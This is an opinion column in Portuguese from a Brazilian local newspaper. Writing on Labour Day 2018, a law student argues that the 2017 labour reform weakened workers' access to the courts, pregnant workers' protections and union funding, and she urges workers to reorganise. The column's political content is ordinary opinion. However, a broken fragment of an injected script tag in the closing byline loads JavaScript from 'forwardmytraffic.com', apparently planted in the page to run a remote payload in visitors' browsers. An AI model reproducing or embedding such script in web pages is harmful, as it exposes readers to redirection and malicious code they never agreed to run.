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Por que (não) comemorar o dia internacional do trabalho?

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No dia 1° de maio é comemorado o dia internacional do trabalho em vários países. Esta data foi escolhida para homenagear os trabalhadores da cidade de Chicago (EUA), que, no ano de 1886, foram às ruas reivindicar melhores condições de trabalho e a redução da jornada de trabalho para 8 horas diárias. Durante as manifestações houveram confrontos com a polícia que culminaram com trabalhadores mortos e feridos.

 

 

No Brasil, a data passou a ser comemorada em 1925, após um decreto do então Presidente da República Arthur Bernardes. Desde então, é dedicado a comemorações, manifestações e ações voltadas para os trabalhadores.

 

 

Neste dia internacional do trabalho, 1º de maio de 2018, temos algo a comemorar? A resposta é: não! Parece não poder ser diferente diante das transformações recentes, decorrentes das alterações à Consolidação das Leis do Trabalho.

 

 

A reforma trabalhista, que é melhor definida como Deforma dos direitos trabalhistas, promulgada em 13 de julho de 2017, não foi planejada para beneficiar o trabalhador, longe disso, a lei foi feita para que o empregador possa manipular a classe trabalhadora, deixando-a cada vez mais vulnerável. Vejamos os pontos mais polêmicos da nova lei.

 

 

Há uma clara intensão de cercear o acesso do trabalhador ao poder judiciário, uma vez que, para que seja concedido o benefício da justiça gratuita, o trabalhador precisa comprovar que não tem renda suficiente para arcar com as custas do processo. Além disso, mesmo que seja concedida a gratuidade de justiça, ela não cobre vários custos que eventualmente possam advir no decorrer do processo, como, por exemplo, o pagamento de perícias. Isso mesmo, caso o resultado da perícia seja desfavorável ao trabalhador, ele arcará com os custos da perícia, mesmo sendo beneficiário da justiça gratuita.

 

 

A partir da reforma, a mulher grávida pode trabalhar em local insalubre, basta um atestado médico. Ou seja, com um simples atestado colocamos em risco a vida de uma mãe e de uma criança.

 

 

A representação sindical também mudou para pior. A contribuição sindical que até então era obrigatória passou a ser facultativa, numa clara tentativa de enfraquecer financeiramente às organizações sindicais. Mas não é só isso, ao invés da representação sindical, os trabalhadores contarão com comissões formadas pelos próprios colegas, que terão a função de acompanhar as rescisões contratuais e dirimir conflitos entre os empregados e os empregadores, tornando assim, a assistência sindical completamente “dispensável”.

 

 

As convenções coletivas também ganharam força. Com a nova lei tudo pode ser convencionado por acordo coletivo: férias, banco de horas, jornada de trabalho, remuneração por produtividade, participação nos lucros, entre outras coisas. E, pasmem, a convenção tem prevalência sobre a lei, ou seja, o empregador pode enfiar goela abaixo do trabalhador tudo aquilo que for benéfico para ele, por meio de convenção coletiva.

 

 

Mas, se não temos o que e nem por que comemorar o dia do trabalho nesta data, você, leitor, pode estar questionando o que podemos nós, os trabalhadores, fazer nesta data. Me parece que só temos duas opções. A primeira é assistir à nossa própria ruína, sem direitos e, eventualmente, sem emprego e sem ter o que comer. A segunda é aproveitar o momento para reorganizar a classe trabalhadora, participar dos sindicatos e lutar por nossos direitos em busca de melhor qualidade de vida.

 

 

 

Elcemara Aparecida Zielinski

Acadêmica da 7ª fase do curso de Direito do Instituto Blumenauense de Ensino Superior (IBES/SOCIESC) e estagiária na 3ª Vara do Trabalho de Blumenau… src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>

Equipe A Gazeta Tresbarrense
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